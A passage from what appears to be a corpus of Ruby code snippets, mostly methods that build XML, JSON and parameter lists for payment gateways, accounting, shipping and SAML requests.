params[:hcpresponse]),\n company_file_name: (@ticket.company_file_name || params[:company]),\n country: (@ticket.country || params[:country]),\n qbxml_major_version: (@ticket.qbxml_major_version || params[:major_ver]),\n qbxml_minor_version: (@ticket.qbxml_minor_version || params[:minor_ver])\n )\n\n # only process when in the Authenticated or Processing states\n unless ['Authenticated', 'Processing'].include?(@ticket.state)\n @ticket.request_error!(@last_log_message)\n return ''\n end\n\n # either grab the current request or create a new one\n request = @ticket.qb_request\n unless request\n request = create_request\n @ticket.qb_request = request\n end\n\n # if we don't have a request, then we are done.\n unless request\n log \"There is no more work to be done. Marking ticket state as finished\"\n @ticket.update!(state: 'Finished')\n return ''\n end\n\n request.update!(qb_ticket: @ticket, request_sent_at: Time.zone.now)\n qb_xml = request.to_qb_xml\n request.update!(request_qbxml: qb_xml)\n\n # set the ticket into a Processing state\n @ticket.state = 'Processing'\n\n # save the changes.\n @ticket.save!\n\n log \"Sending request [#{request.state}] XML to QuickBooks\"\n\n qb_xml\n end", "def build_xml\n ns = \"http://fedex.com/ws/rate/v#{service[:version]}\"\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.RateRequest(:xmlns => ns){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n add_requested_shipment(xml)\n }\n end\n builder.doc.root.to_xml\n end", "def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end", "def authorizeAndCaptureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeAndCaptureTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeAndCaptureTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", \n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false'\n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeAndCaptureXML!\"\n end\n end", "def prepare_update_xml(options = {})\n r = [\"<add#{options.to_xml_attribute_string}>\\n\"]\n # copy and clear pending docs\n working_docs, @pending_documents = @pending_documents, nil\n working_docs.each { |doc| r << doc.xml }\n r << \"\\n</add>\\n\"\n r.join # not sure, but I think Array#join is faster then String#<< for large buffers\n end", "def build_xml( result )\n xml = ::Builder::XmlMarkup.new\n \n xml.ProcessResponse do \n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.Response result\n end\n end", "def request_xml(opts)\n envelope_ns_key = \"#{namespace_key(:envelope)}\"\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml[envelope_ns_key].Envelope(namespace_hash) {\n xml = header_xml(xml, opts[:wsa])\n xml = body_xml(xml, opts[:message], opts[:params], opts[:extra])\n }\n end\n end", "def to_xml\n doc = REXML::Document.new\n doc << REXML::XMLDecl.default\n doc.add_element(\"envelope\")\n p = doc.root.add_element(\"params\", { \"index\" => \"1\" })\n unless receivers.empty?\n to_elt = p.add_element(\"to\")\n receivers.each do |aid|\n agent_identifier_to_xml(to_elt, aid)\n end\n end\n unless sender.nil?\n from_elt = p.add_element(\"from\")\n agent_identifier_to_xml(from_elt, sender)\n end\n unless comments.nil?\n elt = p.add_element(\"comments\")\n elt.text = comments\n end\n unless acl_representation.nil?\n elt = p.add_element(\"acl-representation\")\n elt.text = acl_representation\n end\n unless payload_length.nil?\n elt = p.add_element(\"payload-length\")\n elt.text = payload_length\n end\n unless payload_encoding.nil?\n elt = p.add_element(\"payload-encoding\")\n elt.text = payload_encoding\n end\n unless date.nil?\n elt = p.add_element(\"date\")\n elt.text = date.iso8601\n end\n unless encrypted.nil?\n elt = p.add_element(\"encrypted\")\n elt.text = encrypted\n end\n unless intended_receivers.empty?\n elt = p.add_element(\"intended-receiver\")\n intended_receivers.each do |r|\n agent_identifier_to_xml(elt, r)\n end\n end\n unless received.nil?\n received_elt = p.add_element(\"received\")\n received_by_elt = received_elt.add_element(\"received-by\")\n url_elt = received_by_elt.add_element(\"url\")\n url_elt.text = received.by\n unless received.from.nil?\n received_from_elt = received_elt.add_element(\"received-from\")\n url_elt = received_from_elt.add_element(\"url\")\n url_elt.text = received.from\n end\n received_elt.add_element(\"received-date\", { \"value\" => received.date })\n unless received.id.nil?\n received_elt.add_element(\"received-id\", { \"value\" => received.id})\n end\n unless received.via.nil?\n received_elt.add_element(\"received-via\", { \"value\" => received.via})\n end\n end\n doc\n end", "def to_xml\n header = build_header\n body = build_body\n envelope = build_envelope\n envelope << header\n envelope << body\n doc = Ox::Document.new(version: '1.0')\n doc << envelope\n Ox.dump(doc)\n end", "def hash_xml(xml, params)\n params.each do |key, value|\n xml = xml_key_value(key, value, xml)\n end\n xml\n end", "def transaction_params\n\t\t\t\tparams.permit(:name, :value, :api_key, :transaction_type)\n\t\t\tend", "def to_params\n params = self.to_hash.merge(\n 'Action' => action_name,\n 'AWSAccessKeyId' => AmazonFlexPay.access_key,\n 'Version' => AmazonFlexPay::API_VERSION,\n 'Timestamp' => format_value(Time.now)\n )\n\n params['SignatureVersion'] = 2\n params['SignatureMethod'] = 'HmacSHA256'\n params['Signature'] = AmazonFlexPay.signature(AmazonFlexPay.api_endpoint, params)\n\n params\n end", "def to_xml_change\n doc = Nokogiri::XML::Document.new\n root = doc.create_element(\"#{identifier.tag_name.gsub(/Id$/, '')}Change\")\n root << identifier.to_xml\n root << to_xml_updates\n root\n end", "def transaction_params\n params.fetch(:transaction, {}).permit('wallet_id', 'CB_apikey','CB_value', 'CB_amount', 'CS_apikey', 'CS_value', 'CS_amount', 'date')\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['ProxyCount'] = proxy_count if proxy_count\n xml.tag!('samlp:Scoping', attributes) {\n xml << idp_list.to_xml if idp_list\n requester_ids.each { |requester_id| xml << requester_id.to_xml }\n }\n end", "def queryTransactionsDetailJSON(params)\n begin\n { \n :TransactionDetailFormat => 'CWSTransaction',\n :PagingParameters => { \n :Page => 0, \n :PageSize => 10\n },\n :QueryTransactionsParameters => { \n :Amounts => nil,\n :ApprovalCodes => nil,\n :BatchIds => batch_ids(params),\n :CaptureDateRange =>nil,\n :CaptureStates => nil,\n :TransactionIds => mul_trd(params),\n :MerchantProfileIds => nil,\n :CardTypes => nil,\n :IsAcknowledged=> \"false\",\n :OrderNumbers => nil,\n :QueryType => \"OR\",\n :ServiceIds => nil,\n :ServiceKeys => nil,\n :TransactionClassTypePairs=> nil,\n :TransactionDateRange=> transaction_date_range(params),\n :TransactionStates => nil,\n },\n :IncludeRelated => 'false' \n }.to_json\n rescue Exception => ex\n return \"Some value not set in querytransactiondetail, batchid, transactionid or transactiondates!\"\n end\n end", "def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/investmentaccount/v1\")\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n xml.tag!('samlp:AssertionIDRequest') {\n assertion_id_refs.each { |assertion_id_ref| xml << assertion_id_ref.to_xml }\n }\n end", "def build_request_xml(function, param, extra = nil)\n xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?>\\n\"\n xml << \"<dados>\\n\"\n xml << \" <usuario>#{@user}</usuario>\\n\"\n xml << \" <senha>#{@password}</senha>\\n\"\n xml << \" <funcao>#{function}</funcao>\\n\"\n xml << \" <param>#{param}</param>\\n\"\n xml << \" <param2>#{extra}</param2>\\n\" if extra\n xml << \" <retorno>#{RETURN_FORMATS[@format]}</retorno>\\n\"\n xml << \"</dados>\"\n xml\n end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def reserve(params)\n AmazonProcessor.validate_reservation_response params\n raise PreconditionsError, 'Payment state should be :created' unless payment.created?\n r_amount = Remit::RequestTypes::Amount.new ({value: payment.amount, currency_code: 'USD'})\n caller_ref = new_caller_reference\n request = Remit::Reserve::Request.new ({\n recipient_token_id: recipient_token,\n sender_token_id: params[:tokenID],\n caller_reference: caller_ref,\n transaction_amount: r_amount,\n charge_fee_to: 'Caller'\n })\n\n response = remit.reserve(request)\n\n raise ApiInteractionError, response.errors.join('; ') unless response.errors.empty?\n\n update_attribute :transaction_id, response.reserve_result.transaction_id\n update_attribute :caller_reference, caller_ref\n payment.update_attribute :state, :reserved\n end", "def returnUnlinkedXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnTransaction\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for returnUnlinkedXML!\"\n end\n end", "def transaction_params\n params.require(:transaction).permit(:amount, :trans_type, :status, :trans_from_id, :trans_to_id, :start_date, :end_date, :from_account_id, :to_account_id)\n end", "def transaction_params\n params.require(:transaction).permit(:t_name, :description, :t_type, :t_amount, :account_id)\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['ForceAuthn'] = force_authn unless force_authn.nil?\n attributes['IsPassive'] = is_passive unless is_passive.nil?\n # TODO implement assertion consumer service index\n # TODO implement assertion consumer service URL\n attributes['ProtocolBinding'] = protocol_binding unless protocol_binding.nil?\n attributes['AttributeConsumingServiceURL'] = attribute_consuming_service_url unless attribute_consuming_service_url.nil?\n attributes['ProviderName'] = provider_name unless provider_name.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:AuthnRequest', attributes) {\n xml << subject.to_xml unless subject.nil?\n xml << name_id_policy.to_xml unless name_id_policy.nil?\n xml << conditions.to_xml unless conditions.nil?\n xml << requested_authn_context unless requested_authn_context.nil?\n xml << scoping.to_xml unless scoping.nil?\n }\n end", "def transaction_params\n params.require(:transaction).permit(:kind, :amount, :status, :from, :to, :start_date, :eff_date, :account_id)\n end", "def post_programreserve_transactions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProgramReserveApi.post_programreserve_transactions ...'\n end\n # resource path\n local_var_path = '/programreserve/transactions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'body'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'ProgramReserveTransactionResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"ProgramReserveApi.post_programreserve_transactions\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProgramReserveApi#post_programreserve_transactions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def execute_transaction_data(create_response, parameters)\n url = make_url('ExecTran')\n\n data = {}\n data[:Version] = '105'\n data[:AccessID] = create_response[:AccessID]\n data[:AccessPass] = create_response[:AccessPass]\n data[:OrderID] = parameters[:OrderID]\n data[:Method] = '1' # Single lump-sum payment\n data[:CardNo] = parameters[:CardNo]\n data[:Expire] = parameters[:Expire]\n data[:SecurityCode] = parameters[:SecurityCode]\n data[:ClientField1] = clean_client_field(parameters[:ClientField1])\n data[:ClientField2] = clean_client_field(parameters[:ClientField2])\n data[:ClientField3] = clean_client_field(parameters[:ClientField3])\n\n [url, data.to_query]\n end", "def sale(amount, trans_id='')\n @PARAM_HASH['TRANSACTION_TYPE'] = 'SALE'\n @PARAM_HASH['AMOUNT'] = amount\n @PARAM_HASH['RRNO'] = trans_id\n end", "def transaction_params\n params.require(:transaction, :account_id).permit(:transactionNumber, :description, :amount, :status, :currentBalance, :created_at)\n end", "def createrawtransaction(transactionid = nil, address_amount)\n @api.request 'createrawtransaction', transactionid, address_amount\n end", "def sales_order(record, _params)\n <<-XML\n\n <CustomerRef>\n <FullName>#{record['email']}</FullName>\n </CustomerRef>\n <TxnDate>#{Time.parse(record['placed_on']).to_date}</TxnDate>\n <RefNumber>#{record['id']}</RefNumber>\n <BillAddress>\n <Addr1>#{record['billing_address']['address1']}</Addr1>\n <Addr2>#{record['billing_address']['address2']}</Addr2>\n <City>#{record['billing_address']['city']}</City>\n <State>#{record['billing_address']['state']}</State>\n <PostalCode>#{record['billing_address']['zipcode']}</PostalCode>\n <Country>#{record['billing_address']['country']}</Country>\n </BillAddress>\n <ShipAddress>\n <Addr1>#{record['shipping_address']['address1']}</Addr1>\n <Addr2>#{record['shipping_address']['address2']}</Addr2>\n <City>#{record['shipping_address']['city']}</City>\n <State>#{record['shipping_address']['state']}</State>\n <PostalCode>#{record['shipping_address']['zipcode']}</PostalCode>\n <Country>#{record['shipping_address']['country']}</Country>\n </ShipAddress>\n #{cancel_order?(record)}\n XML\n end", "def _create_xml(method_name, isExtApi, data = [])\n raise \"Invalid data! Needs to be an array\" if isExtApi && !data.is_a?(Array)\n\n output = \"\"\n xml = Builder::XmlMarkup.new(:target => output, :indent => 1)\n xml.instruct!\n xml.methodCall {\n xml.methodName isExtApi ? \"extapi.callWpMethod\" : method_name\n xml.params {\n xml.param {\n xml.value {\n xml.string @rpc_admin\n }\n }\n xml.param {\n xml.value {\n xml.string @rpc_password\n }\n }\n if isExtApi\n xml.param {\n xml.value {\n xml.string method_name\n }\n }\n end\n xml.param {\n xml.value {\n if isExtApi\n xml.array {\n xml.data {\n data.each do |param|\n if param.is_a? Hash\n xml.value {\n _create_key_value_xml_struct(output, param)\n }\n else\n _create_value_xml_struct(output, param)\n end\n end\n }\n }\n else\n _create_key_value_xml_struct(output, data)\n end\n }\n }\n }\n }\n return output\n end", "def make_url(params) #:nodoc:\n params[:key] = @key\n params[:output] = 'xml'\n\n super params\n end", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def preservation_xml\n descriptive_metadata = metadata_source.find_by(source_type: 'descriptive').user_defined_mappings\n structural_metadata = metadata_source.find_by(source_type: 'structural').user_defined_mappings\n\n Nokogiri::XML::Builder.new(encoding: 'UTF-8') { |xml|\n xml.root {\n xml.record {\n xml.uuid { xml.text repo.unique_identifier }\n\n descriptive_metadata.each do |field, values|\n values.each { |value| xml.send(field + '_', value) }\n end\n\n xml.pages {\n structural_metadata['sequence'].map do |asset|\n xml.page {\n asset.map do |field, value|\n Array.wrap(value).each { |v| xml.send(field + '_', v) }\n end\n }\n end\n }\n }\n }\n }.to_xml\n end", "def build_request(body, options)\n requires!(options, :xml_transaction_wrapper)\n xml = Builder::XmlMarkup.new :indent => 2\n 